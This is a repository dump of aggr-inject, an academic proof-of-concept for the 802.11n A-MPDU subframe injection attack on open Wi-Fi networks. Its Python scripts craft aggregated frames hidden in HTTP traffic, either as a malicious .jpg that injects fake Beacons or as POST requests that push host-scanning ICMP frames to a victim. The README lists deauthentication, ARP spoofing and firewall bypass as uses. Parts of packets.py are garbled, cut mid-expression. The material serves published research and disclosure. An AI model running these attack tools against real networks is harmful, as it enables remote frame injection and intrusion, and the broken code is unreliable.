├── LICENSE ├── README.md ├── aggr-inject.py ├── constants.py ├── images ├── ampdu.png ├── attack.png ├── plcp.png ├── setup.gif └── setup.png ├── packets.py ├── paper └── ampdu_inj_wisec2015.pdf ├── presentation └── wisec2015.pdf └── rpyutils.py /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015, Pieter Robyns 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 5 | 6 | 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 7 | 8 | 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 9 | 10 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | aggr-inject 2 | =========== 3 | 4 | aggr-inject is a proof-of-concept implementation of the A-MPDU subframe injection attack, which allows an attacker to inject raw Wi-Fi frames into unencrypted networks remotely. The PoC exploits a vulnerability in the 802.11n frame aggregation mechanism and can be performed against almost any modern Wi-Fi chipset, given that the target is connected to an open network. Results from this research were published in a paper and presented at the ACM WiSec 2015 security conference. 5 | 6 | 7 | Background 8 | ---------- 9 | 10 | A regular 802.11n Wi-Fi frame looks as follows: 11 | 12 | ![alt text](https://github.com/rpp0/aggr-inject/blob/master/images/plcp.png "Regular 802.11n Wi-Fi frame") 13 | 14 | The 802.11n standard specifies a new MAC frame (MPDU) aggregation mechanism intended to decrease overhead when transmitting multiple frames. In essence, the sender will aggregate multiple MPDUs in a single PHY frame as follows: 15 | 16 | ![alt text](https://github.com/rpp0/aggr-inject/blob/master/images/ampdu.png "A-MPDU frame aggregation") 17 | 18 | Here, each subframe is prepended with a delimiter in order to indicate its starting position and length inside the aggregated frame. When the receiver receives the aggregate, the delimiters are removed, and each subframe is deaggregated and forwarded to the kernel for further processing. 19 | 20 | 21 | Vulnerability 22 | ------------- 23 | 24 | The deaggregation algorithm specified in the standard is flawed because the MPDU delimiters are transmitted with the same data rate and modulation method as the frame payload. This allows us to create our own subframes (low layer frames) within any higher layer e.g. HTTP, FTP, ICMP, etc. In other words, we can embed a malicious MAC frame including the delimiter inside an outer frame, for example a HTTP frame. When such frames are aggregated, any bit error in the delimiter of the outer frame will cause the receiver to interpret our malicious, inner frame instead! 25 | 26 | ![alt text](https://github.com/rpp0/aggr-inject/blob/master/images/attack.png "Packet-in-packet style attack") 27 | 28 | An example scenario of how an attack could be performed is shown below. Here, the attacker serves a .jpg file containing malicious frames on a web server. When the .jpg is downloaded, the receiver will see the attacker's malicious frames with every occurence of a bit error in the HTTP subframe delimiter. 29 | 30 | ![alt text](https://github.com/rpp0/aggr-inject/blob/master/images/setup.gif "Attack scenario") 31 |
32 | Thanks to https://github.com/zhovner for creating this animation! 33 | 34 | 35 | Consequences 36 | ------------ 37 | 38 | Depending on whether the attacker knows the MAC address of the targeted network's AP, several attacks can be performed using aggr-inject: 39 | - Deauthenticate clients 40 | - Inject malicious Beacon frames (e.g. overly long SSID field) 41 | - Perform a host or port scan 42 | - Bypass firewall rules 43 | - ARP spoofing 44 | - ... 45 | 46 | All of these attacks can be performed remotely and without owning a wireless device, since the deaggregation happens at the final hop and since it does not matter how the packet travels to its destination. 47 | 48 | 49 | Practical proof-of-concept 50 | -------------------------- 51 | 52 | If you want to see the attack in action on your own network, run option 1 of the PoC to generate the image file containing Beacon subframes (300 MB), then upload it to your web server. Finally, download the image **while being connected to an open 802.11n network with frame aggregation enabled**. Then, while downloading, check either Wireshark or your list of discovered networks (usually takes several downloads of the image for it to appear in the list of networks), and you should see a new network named "injected SSID" coming from MAC address 00:00:00:00:00:00. The amount of Beacons you see will depend on how fast frames are corrupted on your network and how often your AP performs frame aggregation. 53 | 54 | 55 | Details 56 | ------- 57 | 58 | More details about the attack can be found in my paper at [this location](https://github.com/rpp0/aggr-inject/blob/master/paper/ampdu_inj_wisec2015.pdf). My presentation can be downloaded [here](https://github.com/rpp0/aggr-inject/blob/master/presentation/wisec2015.pdf). 59 | 60 | 61 | Contact 62 | ------- 63 | 64 | I'm happy to answer any questions via the Reddit thread concerning this attack (https://www.reddit.com/r/netsec/comments/3bq96e/vulnerability_in_80211n_standard_allows_remote/), Twitter (https://twitter.com/redplusplus) or my e-mail, which you can find at the end of my presentation. 65 | -------------------------------------------------------------------------------- /aggr-inject.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from rpyutils import printd, Color, Level, clr, VERBOSITY 4 | from packets import AMPDUPacket, AMSDUPacket, ping_packet, arp_packet, tcp_syn, ssid_packet, probe_response 5 | import requests 6 | import random 7 | import sys 8 | 9 | 10 | class MaliciousDownload(): 11 | def __init__(self, package): 12 | self.data = str(package) 13 | 14 | def write(self): 15 | with open('download.jpg', 'w') as f: 16 | for i in range(0, 10000): 17 | f.write(("\x00" * random.randint(0, 3)) + str(self.data)) 18 | 19 | 20 | def fuzztf(option1, option2): 21 | test = random.randint(0, 1) 22 | if test: 23 | return option1 24 | else: 25 | return option2 26 | 27 | 28 | def main_download(): 29 | # Malicious download 30 | raw_input("This will create a 300 MB file download.jpg in the working directory. Press any key to continue or CTRL+C to exit.") 31 | printd(clr(Color.YELLOW, "Creating malicious download..."), Level.INFO) 32 | container = "" 33 | for i in range(0, 256): 34 | # Containers are (series of) frames to inject into the remote network 35 | # Container for scanning hosts on internal network 36 | #md_pkt = AMPDUPacket('ff:ff:ff:ff:ff:ff', '4C:5E:0C:9E:82:19', '4C:5E:0C:9E:82:19', 0x02) 37 | #md_pkt.add_msdu(ping_packet(i, "10.0.0.1", "192.168.88.249")) 38 | #md_pkt.add_padding(8) 39 | 40 | # Container for a Beacon frame 41 | md_pkt = ssid_packet() 42 | 43 | container += str(md_pkt) 44 | 45 | md = MaliciousDownload(container) 46 | md.write() 47 | 48 | 49 | def main(): 50 | session = requests.Session() 51 | count = 1 52 | ip_count = 0 53 | 54 | printd(clr(Color.BLUE, "Building container..."), Level.INFO) 55 | """ Build container """ 56 | container = '' 57 | for i in range(0, 800): 58 | count = (count + 1) % 1024 59 | ip_count = (ip_count % 255) + 1 60 | 61 | # Ping from attacker --> victim 62 | # You need to change the MAC addresses and IPs to match the remote AP 63 | ampdu_pkt = AMPDUPacket('ff:ff:ff:ff:ff:ff', '64:D1:A3:3D:26:5B', '64:D1:A3:3D:26:5B', 0x02) 64 | ampdu_pkt.add_msdu(ping_packet(count, "10.0.0.1", "192.168.0." + str(ip_count))) 65 | ampdu_pkt.add_padding(8) 66 | container += str(ampdu_pkt) 67 | 68 | # Beacon from attacker --> victim 69 | #ampdu_pkt = ssid_packet() 70 | #container += str(ampdu_pkt) 71 | 72 | # Ping from victim --> access point 73 | #ampdu_pkt = AMPDUPacket('4C:5E:0C:9E:82:19', 'f8:1a:67:1b:14:00', '4C:5E:0C:9E:82:19') 74 | #ampdu_pkt.add_msdu(ping_packet(count, "192.168.88.254", "10.0.0." + str(ip_count))) 75 | #ampdu_pkt.add_padding(8) 76 | #container += str(ampdu_pkt) 77 | """ end package """ 78 | printd(clr(Color.BLUE, "Finished building container! Sending..."), Level.INFO) 79 | 80 | while 1: 81 | print("."), 82 | sys.stdout.flush() 83 | request_params = {'postpayload': ("\x00" * random.randint(0, 3)) + str(container)} 84 | try: 85 | session.post("http://" + "10.0.0.6:80" + "/index.html", files=request_params, timeout=5) 86 | except requests.exceptions.ConnectionError: 87 | printd(clr(Color.RED, "Could not connect to host"), Level.CRITICAL) 88 | pass 89 | except Exception: 90 | printd(clr(Color.RED, "Another exception"), Level.CRITICAL) 91 | pass 92 | 93 | if __name__ == "__main__": 94 | try: 95 | pocnum = raw_input("Two PoCs are available. Suggested approach to test the vulnerability is to choose option 1" 96 | " and upload the file to your web server. Then, download while connected to an _open_ " 97 | "network and observe Wireshark output for MAC 00:00:00:00:00:00 in monitor mode. Waving " 98 | "your hand over the antenna of the receiver can speed up the injection rate if you don't " 99 | "want to wait too long to see the results.\n" 100 | "\t1) Generate 300 MB .jpg file containing malicious Beacon frames (pulled by victim).\n" 101 | "\t2) Connect to victim web server and POST malicious host scanning ICMP frames (push to victim).\n" 102 | "Note: for option 2 you need to change the MAC addresses and IPs in the source to match the remote AP.\n" 103 | "Choice: ") 104 | if pocnum == "1": 105 | main_download() 106 | elif pocnum == "2": 107 | main() 108 | else: 109 | printd("Invalid PoC number.", Level.CRITICAL) 110 | except KeyboardInterrupt: 111 | printd("\nExiting...", Level.INFO) -------------------------------------------------------------------------------- /constants.py: -------------------------------------------------------------------------------- 1 | import platform 2 | 3 | RUNNING_ON_PI = platform.machine() == 'armv6l' 4 | DEFAULT_DNS_SERVER = "8.8.8.8" 5 | RSN = "\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\x28\x00" 6 | 7 | AP_WLAN_TYPE_OPEN = 0 8 | AP_WLAN_TYPE_WPA = 1 9 | AP_WLAN_TYPE_WPA2 = 2 10 | AP_WLAN_TYPE_WPA_WPA2 = 3 11 | AP_AUTH_TYPE_OPEN = 0 12 | AP_AUTH_TYPE_SHARED = 1 13 | AP_RATES = "\x0c\x12\x18\x24\x30\x48\x60\x6c" 14 | 15 | DOT11_MTU = 4096 16 | 17 | DOT11_TYPE_MANAGEMENT = 0 18 | DOT11_TYPE_CONTROL = 1 19 | DOT11_TYPE_DATA = 2 20 | 21 | DOT11_SUBTYPE_DATA = 0x00 22 | DOT11_SUBTYPE_PROBE_REQ = 0x04 23 | DOT11_SUBTYPE_AUTH_REQ = 0x0B 24 | DOT11_SUBTYPE_ASSOC_REQ = 0x00 25 | DOT11_SUBTYPE_REASSOC_REQ = 0x02 26 | DOT11_SUBTYPE_QOS_DATA = 0x28 27 | 28 | 29 | IFNAMSIZ = 16 30 | IFF_TUN = 0x0001 31 | IFF_TAP = 0x0002 # Should we want to tunnel layer 2... 32 | IFF_NO_PI = 0x1000 33 | TUNSETIFF = 0x400454ca -------------------------------------------------------------------------------- /images/ampdu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rpp0/aggr-inject/c5e953f93fc6b7565226b329bdff74e173fbdea1/images/ampdu.png -------------------------------------------------------------------------------- /images/attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rpp0/aggr-inject/c5e953f93fc6b7565226b329bdff74e173fbdea1/images/attack.png -------------------------------------------------------------------------------- /images/plcp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rpp0/aggr-inject/c5e953f93fc6b7565226b329bdff74e173fbdea1/images/plcp.png -------------------------------------------------------------------------------- /images/setup.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rpp0/aggr-inject/c5e953f93fc6b7565226b329bdff74e173fbdea1/images/setup.gif -------------------------------------------------------------------------------- /images/setup.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rpp0/aggr-inject/c5e953f93fc6b7565226b329bdff74e173fbdea1/images/setup.png -------------------------------------------------------------------------------- /packets.py: -------------------------------------------------------------------------------- 1 | from scapy.all import sr1, sr, srp1, send, sendp, hexdump, ETH_P_IP 2 | from scapy.layers.inet import Raw, Ether, TCP, IP, ICMP, ARP 3 | from scapy.layers.dot11 import Dot11, LLC, SNAP, RadioTap, Dot11Beacon, Dot11Elt, Dot11ProbeResp 4 | from constants import * 5 | from rpyutils import get_frequency, printd, Color, Level, clr, hex_offset_to_string 6 | import random 7 | import crcmod 8 | import struct 9 | import time 10 | 11 | 12 | # Configuration 13 | DEFAULT_SOURCE_IP = '10.0.0.2' 14 | DEFAULT_DEST_IP = '10.0.0.1' 15 | DEFAULT_SOURCE_MAC = 'ff:ff:ff:ff:ff:ff' 16 | DEFAULT_DEST_MAC = 'ff:ff:ff:ff:ff:ff' 17 | CHANNEL = 1 18 | MONITOR_INTERFACE = 'mon0' 19 | 20 | 21 | # 802.11 MAC CRC 22 | def dot11crc(pkt): 23 | crc_fun = crcmod.Crc(0b100000100110000010001110110110111, rev=True, initCrc=0x0, xorOut=0xFFFFFFFF) 24 | crc_fun.update(str(pkt)) 25 | crc = struct.pack(' 0: 86 | self.data /= padding 87 | 88 | self.data = self.data / Ether(src=self.src_mac, dst=self.recv_mac, type=msdu_len) / msdu 89 | 90 | self.num_subframes += 1 91 | 92 | def send(self): 93 | return sendp(self.data, iface=MONITOR_INTERFACE, verbose=False) 94 | 95 | 96 | """ 97 | Total Aggregate (A-MPDU) length; the aggregate length is the number of bytes of 98 | the entire aggregate. This length should be computed as: 99 | delimiters = start_delim + pad_delim; 100 | frame_pad = (frame_length % 4) ? (4 - (frame_length % 4)) : 0 101 | agg_length = sum_of_all (frame_length + frame_pad + 4 * delimiters) 102 | """ 103 | # 802.11 frame class with support for adding multiple MPDUs to a single PHY frame 104 | class AMPDUPacket(): 105 | def __init__(self, recv_mac, src_mac, dst_mac, ds=0x01): 106 | self.rt = RadioTap(len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', notdecoded='\x00\x6c' + get_frequency(CHANNEL) + '\xc0\x00\xc0\x01\x00\x00') 107 | self.dot11hdr = Dot11(type="Data", subtype=DOT11_SUBTYPE_QOS_DATA, addr1=recv_mac, addr2=src_mac, addr3=dst_mac, SC=0x3060, FCfield=ds) / Raw("\x00\x00") 108 | self.data = self.rt 109 | self.num_subframes = 0 110 | self.recv_mac = recv_mac 111 | self.src_mac = src_mac 112 | self.dst_mac = dst_mac 113 | 114 | def __str__(self): 115 | return str(self.data[RadioTap].payload) 116 | 117 | # Higher layer packet 118 | def add_msdu(self, msdu, msdu_len=-1): 119 | # Default msdu len 120 | if msdu_len == -1: 121 | msdu_len = len(msdu) 122 | 123 | mpdu_len = msdu_len + len(self.dot11hdr) + 4 # msdu + mac80211 + FCS 124 | 125 | if mpdu_len % 4 != 0: 126 | padding = "\x00" * (4 - (mpdu_len % 4)) # Align to 4 octets 127 | else: 128 | padding = "" 129 | mpdu_len <<= 4 130 | crc_fun = crcmod.mkCrcFun(0b100000111, rev=True, initCrc=0x00, xorOut=0xFF) 131 | 132 | crc = crc_fun(struct.pack('> 4, crc, delim_sig)) 137 | #hexdump(maccrc) 138 | ampdu_header = struct.pack('> 4, crc, delim_sig)) 235 | #hexdump(maccrc) 236 | ampdu_header = struct.pack('> 4, crc, delim_sig)) 273 | #hexdump(maccrc) 274 | ampdu_header = struct.pack('= level: 86 | print(string) 87 | 88 | 89 | def hex_offset_to_string(byte_array): 90 | temp = byte_array.replace("\n", "") 91 | temp = temp.replace(" ", "") 92 | return temp.decode("hex") 93 | 94 | 95 | def get_frequency(channel): 96 | if channel == 14: 97 | freq = 2484 98 | else: 99 | freq = 2407 + (channel * 5) 100 | 101 | freq_string = struct.pack("